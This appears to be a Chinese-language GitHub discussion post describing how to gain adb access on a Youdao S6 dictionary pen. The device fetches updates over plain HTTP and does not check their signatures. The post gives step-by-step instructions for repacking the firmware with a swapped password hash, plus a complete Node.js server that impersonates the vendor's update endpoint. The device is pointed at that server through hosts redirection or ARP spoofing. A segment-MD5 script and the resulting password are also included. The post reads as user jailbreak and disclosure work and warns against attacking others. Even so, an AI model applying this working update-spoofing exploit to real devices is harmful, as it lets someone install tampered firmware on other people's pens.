https://github.com/orgs/PenUniverse/discussions/250
原帖 : #249
问题已向网易反馈二次,均没有得到处理
该方法理论上有道全系通用
声明
#202 #178
本方法总结了上面两个帖子的讨论内容,感谢各位大佬提供的思路。
免责:使用本方法以及本方法获取的权限造成的一切后果,如远程施法、有道律师函、词典笔损坏、家长批评、第三次世界大战.. 与作者无关。
此漏洞十分危险,无论你是否想要给词典笔提权,都请做到:不在陌生的网络环境更新系统、警惕莫名奇妙的系统更新、关闭更新包自动下载 , 以及不要利用此漏洞攻击别人的设备。
原理
通过抓包可以分析,有道的OTA更新使用的是不安全的HTTP,以及更新镜像的MD5是返回在POST请求中的。同时,通过逆向抓包下载到的全量固件,发现有道的词典笔OS并没有做必要的系统更新签名校验。故我们可以修改一个全量包,修改其中adb_auth.sh
中的 sha256 值来实现修改密码,再通过规则转发来让词典笔更新我们自己的镜像。
实现
- 首先,通过抓包抓取系统全量包
- 使用
binwalk
拆解全量包,得到原始adb密码的sha256值 - 使用
sed -i
命令替换sha256值 - 检查新镜像的大小,确保一致
- 重新按照POST请求返回中的MD5分段重新计算分段MD5和新的整包MD5
- 取得新镜像的文件直链
- 创建
nodejs
服务器,修改返回值 - 修改系统hosts文件,将
iotapi.abupdate.com
重定向到你的欺骗服务器 - 在词典笔上先检查一次更新
- 使用Windows热点连接词典笔,或者使用arp欺骗攻击
- 再次检查更新,更新新的系统镜像
- 连接adb
相关资源(适用有道词典笔S6)
使用的node js脚本 (记得修改镜像直链)
const http = require('http'); const fs = require('fs'); const path = require('path'); const port = 80; // 假设这是你的自定义 JSON 数据 const JsonData = { "releaseNotes": { "publishDate": "2023-11-18", "version": "4.0.2", "content": "[{\"country\":\"zh_CN\",\"content\":\"1、修复部分问题,优化系统稳定性\"}]" }, "safe": { "isEncrypt": 0 }, "version": { "segmentMd5": "[{\"num\":0,\"startpos\":0,\"md5\":\"11ca35db346f49135324020d8ed9969b\",\"endpos\":104857600},{\"num\":1,\"startpos\":104857600,\"md5\":\"3c05419707b6981093fb6ed50a92a095\",\"endpos\":209715200},{\"num\":2,\"startpos\":209715200,\"md5\":\"eea450e348bd4f36c8abe28b8eda0a6d\",\"endpos\":314572800},{\"num\":3,\"startpos\":314572800,\"md5\":\"36dcce0dfda04040c87dc5fdbe53039e\",\"endpos\":419430400},{\"num\":4,\"startpos\":419430400,\"md5\":\"147f9c36c8353e514305f2917182ef35\",\"endpos\":524288000},{\"num\":5,\"startpos\":524288000,\"md5\":\"d1f1733a399d92c10b5723d4fc86747f\",\"endpos\":629145600},{\"num\":6,\"startpos\":629145600,\"md5\":\"ca1e07d0e986145cbf8e97113d8588f4\",\"endpos\":734003200},{\"num\":7,\"startpos\":734003200,\"md5\":\"21b0dcf16b91120ac79a2337ddd741f8\",\"endpos\":838860800},{\"num\":8,\"startpos\":838860800,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":943718400},{\"num\":9,\"startpos\":943718400,\"md5\":\"4b5e89f2ed4c7ba70269e1c67257a480\",\"endpos\":1048576000},{\"num\":10,\"startpos\":1048576000,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1153433600},{\"num\":11,\"startpos\":1153433600,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1258291200},{\"num\":12,\"startpos\":1258291200,\"md5\":\"bdc427a4857dd06b1eef994e454077ae\",\"endpos\":1363148800},{\"num\":13,\"startpos\":1363148800,\"md5\":\"47366679b58ec4436205a40e8cf3ac7e\",\"endpos\":1397096460}]", "bakUrl": "填写你自己的镜像直链", "versionAlias": "", "deltaUrl": "填写你自己的镜像直链", "deltaID": "9457867", "fileSize": 1397096460, "md5sum": "1d4ce19a13629aa9d72499012d4046e9", "versionName": "99.99.91" }, "policy": { "download": [ { "key_name": "wifi", "key_message": "仅wifi下载", "key_value": "optional" }, { "key_name": "storageSize", "key_message": "存储空间不足", "key_value": "76944507" }, { "key_name": "forceDownload", "key_message": "", "key_value": "false" } ], "install": [ { "key_name": "battery", "key_message": "电量不足,请充电后重试!", "key_value": "30" }, { "key_name": "voltage", "key_message": "", "key_value": "" }, { "key_name": "rebootUpgrade", "key_message": "", "key_value": "false" }, { "key_name": "force", "key_message": "", "key_value": "{\"from\": \"00:00\", \"to\": \"00:00\",\"gap\": \"00:00\"}" } ], "check": [ { "key_name": "cycle", "key_message": "", "key_value": "1500" }, { "key_name": "remind", "key_message": "", "key_value": "1440" } ] } }; // 获取当前日期,并格式化为 HTTP 头所需的格式 const getFormattedDate = () => { const now = new Date(); return now.toUTCString(); // 转换为 UTC 格式 }; // 创建 HTTP 服务器 const server = http.createServer((req, res) => { console.log(`${req.method} request for ${req.url} at ${new Date().toISOString()}`); if (req.method === 'GET' && req.url === '/product/1687249911/e3025e518840fce8/ota/checkVersion') { // 设置自定义头部 res.writeHead(200, { 'Server': 'nginx/1.20.1', 'Content-Type': 'application/json;charset=UTF-8', 'Date': getFormattedDate(), // 使用当前日期 'Transfer-Encoding': 'chunked', 'Connection': 'close' }); // 发送 JSON 数据 res.write(JSON.stringify({ status: 1000, msg: 'success', data: JsonData })); res.end(); // 结束响应 } else if (req.method === 'POST' && req.url === '/product/1687249911/e3025e518840fce8/ota/checkVersion') { // 设置自定义头部 res.writeHead(200, { 'Server': 'nginx/1.20.1', 'Content-Type': 'application/json;charset=UTF-8', 'Date': getFormattedDate(), // 使用当前日期 'Transfer-Encoding': 'chunked', 'Connection': 'close' }); // 发送 JSON 数据 res.write(JSON.stringify({ status: 1000, msg: 'success', data: JsonData })); res.end(); // 结束响应 } else { // 处理其他请求 res.writeHead(404, { 'Content-Type': 'text/plain' }); res.end('Not Found'); } }); // 启动服务器 server.listen(port, () => { console.log(`Server is running at http://localhost:${port}`); });
使用的修改后的全量包(与上面的脚本中的MD5值匹配)
使用的分段md5计算脚本
import hashlib def calculate_partial_md5(file_path, start, end): # Initialize the MD5 hasher md5 = hashlib.md5() # Open the file in binary read mode with open(file_path, 'rb') as f: f.seek(start) # Move the file pointer to the start position chunk = f.read(end - start) # Read the specified chunk of the file md5.update(chunk) # Update the MD5 hasher with the chunk # Return the hexadecimal MD5 hash return md5.hexdigest() # Usage example file_path = '' start_byte = # Specify the start byte end_byte = # Specify the end byte partial_md5 = calculate_partial_md5(file_path, start_byte, end_byte) print(f"Partial MD5 hash: {partial_md5}")
成功后,adb密码将修改为 YDPenS6